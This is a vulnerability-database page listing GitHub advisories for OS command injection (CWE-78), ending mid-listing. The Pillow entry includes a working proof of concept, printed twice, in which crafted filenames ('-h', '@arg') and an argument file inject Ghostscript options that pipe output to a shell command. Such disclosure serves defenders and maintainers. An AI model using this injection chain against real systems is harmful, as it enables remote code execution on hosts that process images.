CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
10295 vulnerabilities reference this CWE, most recent first.
GHSA-W86G-Q6VW-5MW6
Vulnerability from github – Published: 2026-10-06 15:32 – Updated: 2026-10-06 15:32An OS command injection vulnerability in the shell-based temporary-file cleanup instructions in Progress Software Autonomous REST Connector GenAI Agents ARCGenAI-Generator version 2.0 allows an attacker who supplies a crafted Swagger/OpenAPI document to execute arbitrary commands on a developer's machine when a user invokes the generator.
{
"affected": [],
"aliases": [
"CVE-2026-91140"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-06T14:17:48Z",
"severity": "CRITICAL"
},
"details": "An OS command injection vulnerability in the shell-based temporary-file cleanup instructions in Progress Software Autonomous REST Connector GenAI Agents ARCGenAI-Generator version 2.0 allows an attacker who supplies a crafted Swagger/OpenAPI document to execute arbitrary commands on a developer\u0027s machine when a user invokes the generator.",
"id": "GHSA-w86g-q6vw-5mw6",
"modified": "2026-10-06T15:32:01Z",
"published": "2026-10-06T15:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91140"
},
{
"type": "WEB",
"url": "https://github.com/progress/datadirect-arc-ai-model-gen/commit/7ede6d96eb033d647ffdcabf8d8069c098293575"
},
{
"type": "WEB",
"url": "https://community.progress.com/s/article/Progress-DataDirect-Critical-Security-Alert-Bulletin-September-2026-CVE-2026-91140"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W87M-4Q2M-G66W
Vulnerability from github – Published: 2024-12-18 00:31 – Updated: 2024-12-18 18:30rizin before v0.6.3 is vulnerable to Improper Neutralization of Special Elements via meta_set function in librz/analysis/meta.
{
"affected": [],
"aliases": [
"CVE-2024-31668"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-17T22:15:06Z",
"severity": "CRITICAL"
},
"details": "rizin before v0.6.3 is vulnerable to Improper Neutralization of Special Elements via meta_set function in librz/analysis/meta.",
"id": "GHSA-w87m-4q2m-g66w",
"modified": "2024-12-18T18:30:51Z",
"published": "2024-12-18T00:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31668"
},
{
"type": "WEB",
"url": "https://github.com/rizinorg/rizin/commit/c025dcee40c8eac2ab559f2caa3798a2dbf019e4"
},
{
"type": "WEB",
"url": "https://gist.github.com/Crispy-fried-chicken/cb0b3a653a43a2fe2361641eddd8330d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W883-X4XV-CVJ7
Vulnerability from github – Published: 2026-09-16 09:30 – Updated: 2026-09-16 09:30A high-privileged remote attacker can exploit a command injection vulnerability in the /api/iodd/config endpoint by sending a crafted GET request with admin credentials allowing execution of commands with root privileges on the device.
{
"affected": [],
"aliases": [
"CVE-2026-27561"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-16T08:16:39Z",
"severity": "HIGH"
},
"details": "A high-privileged remote attacker can exploit a command injection vulnerability in the /api/iodd/config endpoint by sending a crafted GET request with admin credentials allowing execution of commands with root privileges on the device.",
"id": "GHSA-w883-x4xv-cvj7",
"modified": "2026-09-16T09:30:26Z",
"published": "2026-09-16T09:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27561"
},
{
"type": "WEB",
"url": "https://www.certvde.com/en/advisories/VDE-2026-014"
},
{
"type": "WEB",
"url": "https://www.certvde.com/en/advisories/VDE-2026-027"
},
{
"type": "WEB",
"url": "https://www.certvde.com/en/advisories/VDE-2026-028"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W889-685W-C8FH
Vulnerability from github – Published: 2026-10-21 19:58 – Updated: 2026-10-21 19:58Summary
PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
Type
CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)
Vulnerable Codes
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
f"-g{width:d}x{height:d}",
f"-r{res_x:f}x{res_y:f}",
"-dBATCH",
"-dNOPAUSE",
"-dSAFER", # default sandbox — does NOT stop this injection
f"-sDEVICE={device}",
f"-sOutputFile={outfile}",
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # injected here: inserted into argv with no check for
# option prefixes (-, --) or Ghostscript's @-file token
# => argument injection (CWE-88)
"-c",
"showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript
Root cause.
When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.
Affected
- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
- Component:
src/PIL/EpsImagePlugin.py,Ghostscript()—infile = fp.name, and the command list entry"-f", infile.
Suggested fix
Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = os.path.abspath(fp.name) # was: infile = fp.name
os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.
PoC
dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.
FROM ubuntu:24.04
RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .
CMD ["python3", "poc.py"]
poc.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
name = "-h"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
im.load()
except Exception as e:
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't display `help`")
poc-rce.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
im.load()
except Exception as e:
print(f"*********************************************")
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't call `id`")
arg
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
Impact
Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.
Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).
Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)
Why this is a Pillow bug (not the documented "block untrusted EPS" risk)
This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.
Author
Chanu Kang (from CysecLab at KAIST) @HLe4s
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112900"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T19:58:44Z",
"nvd_published_at": "2026-10-19T22:17:10Z",
"severity": "CRITICAL"
},
"details": "### Summary\n`PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f \u003cinfile\u003e`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow\u0027s default invocation (with `-dSAFER` enabled).\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n#### Type\nCWE-88 (Argument Injection) (\u2192 CWE-78 (OS Command Injection) optionally, with attacker controlled text file)\n\n#### Vulnerable Codes\n\n```python\ninfile_temp = None\nif hasattr(fp, \"name\") and os.path.exists(fp.name):\n infile = fp.name # user-controlled path used as-is, without validation\nelse:\n in_fd, infile_temp = tempfile.mkstemp()\n os.close(in_fd)\n infile = infile_temp\n # ... (copy fp into a temporary file)\n\n# Build Ghostscript command\ncommand = [\n gs_binary,\n \"-q\",\n f\"-g{width:d}x{height:d}\",\n f\"-r{res_x:f}x{res_y:f}\",\n \"-dBATCH\",\n \"-dNOPAUSE\",\n \"-dSAFER\", # default sandbox \u2014 does NOT stop this injection\n f\"-sDEVICE={device}\",\n f\"-sOutputFile={outfile}\",\n \"-c\",\n f\"{-bbox[0]} {-bbox[1]} translate\",\n \"-f\",\n infile, # injected here: inserted into argv with no check for\n # option prefixes (-, --) or Ghostscript\u0027s @-file token\n # =\u003e argument injection (CWE-88)\n \"-c\",\n \"showpage\",\n]\n# ...\nsubprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript\n```\n\n#### Root cause. \n\nWhen rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f \u003cinfile\u003e position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing \u2014 in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript\u0027s argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow\u0027s default -dSAFER setting.\n\n#### Affected\n- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).\n- Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` \u2014 `infile = fp.name`, and the command list entry `\"-f\", infile`.\n\n#### Suggested fix\nNormalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`):\n```python\n if hasattr(fp, \"name\") and os.path.exists(fp.name):\n infile = os.path.abspath(fp.name) # was: infile = fp.name\n```\n`os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript\u0027s argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change.\n\n### PoC\ndockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.\n```\nFROM ubuntu:24.04\n\nRUN apt update\nRUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates\nRUN rm -rf /var/lib/apt/lists/*\nRUN python3 -m venv /venv \u0026\u0026 /venv/bin/pip install --upgrade pip Pillow==12.3.0\nENV PATH=/venv/bin:$PATH\nWORKDIR /poc\nCOPY poc.py .\nCOPY poc-rce.py .\nCOPY arg .\n\nCMD [\"python3\", \"poc.py\"]\n```\npoc.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\nname = \"-h\"\nwith open(name, \"wb\") as f:\n f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with \u0027-f {name}\u0027\")\ntry:\n im.load()\nexcept Exception as e:\n print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"CWE-88: argument injection; Pillow code doesn\u0027t validate argument name\")\nprint(\" This poc.py shows the vulnerability clearly.\")\nprint(\" If Pillow checks the name of file before it uses, It won\u0027t display `help`\")\n```\npoc-rce.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\n# To chain this vulnerability into critical RCE, We need another arbitrary text file\n# In this script, it is `arg`.\nname = \"@arg\"\nwith open(name, \"wb\") as f:\n f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with \u0027-f {name}\u0027\")\nprint(f\"[*] and this leads to arbitrary command injection.\")\nprint(f\"*********************************************\")\ntry:\n im.load()\nexcept Exception as e:\n print(f\"*********************************************\")\n print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"\")\nprint(\"CWE-78: OS Command Injection;\")\nprint(\"CWE-88: Argument Injection ; Pillow code doesn\u0027t validate argument name\")\nprint(\" This poc.py shows the vulnerability clearly.\")\nprint(\" If Pillow checks the name of file before it uses, It won\u0027t call `id`\")\n```\narg\n```\n-sOutputFile=%pipe%/bin/id\n-c\n1\ndict\ndup\n/OutputFile\n(%pipe%/bin/id)\nput\nsetpagedevice\n```\n\n### Impact\n**Confirmed \u2014 Ghostscript argument injection.** Because the filename is not validated, a leading `-`/`--` is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to `Image.open()` can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.\n\n**Potential RCE (verified).** The filename is also not validated against Ghostscript\u0027s `@`-file syntax: a filename of the form `@\u003cpath\u003e` causes Ghostscript to read additional command-line arguments from `\u003cpath\u003e`, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution \u2014 an escalation we verified in our PoC (execution of `id`).\n\nApplies under Pillow\u0027s default configuration (with `-dSAFER` enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)\n\n### Why this is a Pillow bug (not the documented \"block untrusted EPS\" risk)\nThis is not the malicious-EPS-content risk described in Pillow\u0027s security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected \u2014 the guidance to block untrusted EPS input does not cover this.\nBecause Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow\u0027s responsibility, not that of every downstream caller. The precondition \u2014 attacker influence over a filename that reaches Image.open() \u2014 is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.\n\n### Author\nChanu Kang (from CysecLab at KAIST) @HLe4s",
"id": "GHSA-w889-685w-c8fh",
"modified": "2026-10-21T19:58:44Z",
"published": "2026-10-21T19:58:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112900"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: Argument Injection in Ghostscript call, potentially leading into RCE"
}
GHSA-W889-HMCF-F56M
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42LOGITEC LAN-W300N/PGRB allows an attacker with administrative privilege to execute arbitrary OS commands via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2021-20639"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-12T07:15:00Z",
"severity": "HIGH"
},
"details": "LOGITEC LAN-W300N/PGRB allows an attacker with administrative privilege to execute arbitrary OS commands via unspecified vectors.",
"id": "GHSA-w889-hmcf-f56m",
"modified": "2022-05-24T17:42:03Z",
"published": "2022-05-24T17:42:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20639"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN96783542/index.html"
},
{
"type": "WEB",
"url": "https://www.elecom.co.jp/news/security/20210126-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W88F-3VRF-56WM
Vulnerability from github – Published: 2024-04-26 15:30 – Updated: 2024-04-26 15:30An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network.
We have already fixed the vulnerability in the following versions: QTS 5.1.3.2578 build 20231110 and later QTS 4.5.4.2627 build 20231225 and later QuTS hero h5.1.3.2578 build 20231110 and later QuTS hero h4.5.4.2626 build 20231225 and later QuTScloud c5.1.5.2651 and later
{
"affected": [],
"aliases": [
"CVE-2024-27124"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-26T15:15:48Z",
"severity": "HIGH"
},
"details": "An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.1.3.2578 build 20231110 and later\nQTS 4.5.4.2627 build 20231225 and later\nQuTS hero h5.1.3.2578 build 20231110 and later\nQuTS hero h4.5.4.2626 build 20231225 and later\nQuTScloud c5.1.5.2651 and later\n",
"id": "GHSA-w88f-3vrf-56wm",
"modified": "2024-04-26T15:30:33Z",
"published": "2024-04-26T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27124"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-09"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W8CH-V2QX-54XX
Vulnerability from github – Published: 2025-04-17 15:32 – Updated: 2025-04-18 18:31An issue in dlink DIR 832x 240802 allows a remote attacker to execute arbitrary code via the target_addr key value and the function 0x41737c
{
"affected": [],
"aliases": [
"CVE-2025-29040"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T15:15:54Z",
"severity": "CRITICAL"
},
"details": "An issue in dlink DIR 832x 240802 allows a remote attacker to execute arbitrary code via the target_addr key value and the function 0x41737c",
"id": "GHSA-w8ch-v2qx-54xx",
"modified": "2025-04-18T18:31:23Z",
"published": "2025-04-17T15:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29040"
},
{
"type": "WEB",
"url": "https://gist.github.com/xyqer1/b3bebe4967a3093951273738f0be45ce"
},
{
"type": "WEB",
"url": "https://github.com/xyqer1/Dlink-dir-823x-diag_ping-target_addr-CommandInjection"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W8CJ-MVF9-MPC9
Vulnerability from github – Published: 2021-05-06 18:53 – Updated: 2021-04-07 18:29Bolt before 3.7.2 does not restrict filter options in a Request in the Twig context, and is therefore inconsistent with the "How to Harden Your PHP for Better Security" guidance.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "bolt/bolt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-28925"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-07T18:29:19Z",
"nvd_published_at": "2020-12-30T19:15:00Z",
"severity": "MODERATE"
},
"details": "Bolt before 3.7.2 does not restrict filter options in a Request in the Twig context, and is therefore inconsistent with the \"How to Harden Your PHP for Better Security\" guidance.",
"id": "GHSA-w8cj-mvf9-mpc9",
"modified": "2021-04-07T18:29:19Z",
"published": "2021-05-06T18:53:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28925"
},
{
"type": "WEB",
"url": "https://github.com/bolt/bolt/commit/c0cd530e78c2a8c6d71ceb75b10c251b39fb923a"
},
{
"type": "WEB",
"url": "https://github.com/bolt/bolt/compare/3.7.1...3.7.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "OS Command injection in Bolt"
}
GHSA-W8CX-4CF2-9HVR
Vulnerability from github – Published: 2026-09-21 12:32 – Updated: 2026-09-21 12:32Temporal Server compiles a Worker Controller Instance module into its Worker Service, and that module registers a compute provider named subprocess whose function is to launch a worker by running a command on the machine hosting the Worker Service. The program name and the argument vector that provider executes are taken from the compute provider configuration supplied in the caller's request rather than from operator configuration. An authenticated caller holding only a write role in a single namespace can therefore configure a worker deployment version so that the Worker Service executes a command of the caller's choosing on its own host, under the account the server process runs as. Execution is immediate rather than deferred: the configuration handler invokes every provider using the invoke strategy directly after validating the submitted specification, so no scaling decision, task arrival, or unusual request sequence is required. Because the Worker Service process holds the persistence credentials for every namespace in the cluster and the cluster's TLS material, the consequence reaches beyond the caller's namespace to the cluster as a whole. The provider is present in the official temporal-server binaries and container images for the affected releases. The only control that can keep it unreachable is the compute provider allowlist, the per-namespace dynamic configuration setting workercontroller.compute_providers.enabled, and that control does not deny by default: its default value is an unset list, and the allowlist check is skipped entirely when the value is unset, so every registered compute provider is permitted, this one included. To determine whether a deployment is affected, check the following together. The deployed Temporal Server version is 1.31.0 or later and earlier than 1.31.3. The Worker Service is running, which it is in the default service set and therefore in a stock deployment. The effective per-namespace value of workercontroller.compute_providers.enabled is either unset or contains subprocess. And authorization is configured, meaning a real authorizer and claim mapper are in place; a deployment running with no authorizer already grants every caller unrestricted access to every namespace, so it has no namespace boundary for this to cross. Note that the separate per-namespace dynamic configuration setting workercontroller.enabled does not gate the affected path. It defaults to false, and a deployment that has never set it in any namespace is still affected, which was confirmed by running an affected release with no value for that setting present anywhere in dynamic configuration. To look for a compute configuration that is already attached, call DescribeWorkerDeploymentVersion for each worker deployment version in each namespace and check whether any scaling group's compute provider type is subprocess.
{
"affected": [],
"aliases": [
"CVE-2026-89139"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-21T12:17:24Z",
"severity": "HIGH"
},
"details": "Temporal Server compiles a Worker Controller Instance module into its Worker Service, and that module registers a compute provider named subprocess whose function is to launch a worker by running a command on the machine hosting the Worker Service. The program name and the argument vector that provider executes are taken from the compute provider configuration supplied in the caller\u0027s request rather than from operator configuration. An authenticated caller holding only a write role in a single namespace can therefore configure a worker deployment version so that the Worker Service executes a command of the caller\u0027s choosing on its own host, under the account the server process runs as. Execution is immediate rather than deferred: the configuration handler invokes every provider using the invoke strategy directly after validating the submitted specification, so no scaling decision, task arrival, or unusual request sequence is required. Because the Worker Service process holds the persistence credentials for every namespace in the cluster and the cluster\u0027s TLS material, the consequence reaches beyond the caller\u0027s namespace to the cluster as a whole. The provider is present in the official temporal-server binaries and container images for the affected releases. The only control that can keep it unreachable is the compute provider allowlist, the per-namespace dynamic configuration setting workercontroller.compute_providers.enabled, and that control does not deny by default: its default value is an unset list, and the allowlist check is skipped entirely when the value is unset, so every registered compute provider is permitted, this one included. To determine whether a deployment is affected, check the following together. The deployed Temporal Server version is 1.31.0 or later and earlier than 1.31.3. The Worker Service is running, which it is in the default service set and therefore in a stock deployment. The effective per-namespace value of workercontroller.compute_providers.enabled is either unset or contains subprocess. And authorization is configured, meaning a real authorizer and claim mapper are in place; a deployment running with no authorizer already grants every caller unrestricted access to every namespace, so it has no namespace boundary for this to cross. Note that the separate per-namespace dynamic configuration setting workercontroller.enabled does not gate the affected path. It defaults to false, and a deployment that has never set it in any namespace is still affected, which was confirmed by running an affected release with no value for that setting present anywhere in dynamic configuration. To look for a compute configuration that is already attached, call DescribeWorkerDeploymentVersion for each worker deployment version in each namespace and check whether any scaling group\u0027s compute provider type is subprocess.",
"id": "GHSA-w8cx-4cf2-9hvr",
"modified": "2026-09-21T12:32:39Z",
"published": "2026-09-21T12:32:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89139"
},
{
"type": "WEB",
"url": "https://github.com/temporalio/temporal-auto-scaled-workers/pull/129"
},
{
"type": "WEB",
"url": "https://github.com/temporalio/temporal/pull/12021"
},
{
"type": "WEB",
"url": "https://github.com/temporalio/temporal/releases/tag/v1.31.3"
},
{
"type": "WEB",
"url": "https://github.com/temporalio/temporal/releases/tag/v1.32.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W8PF-HH42-Q6RJ
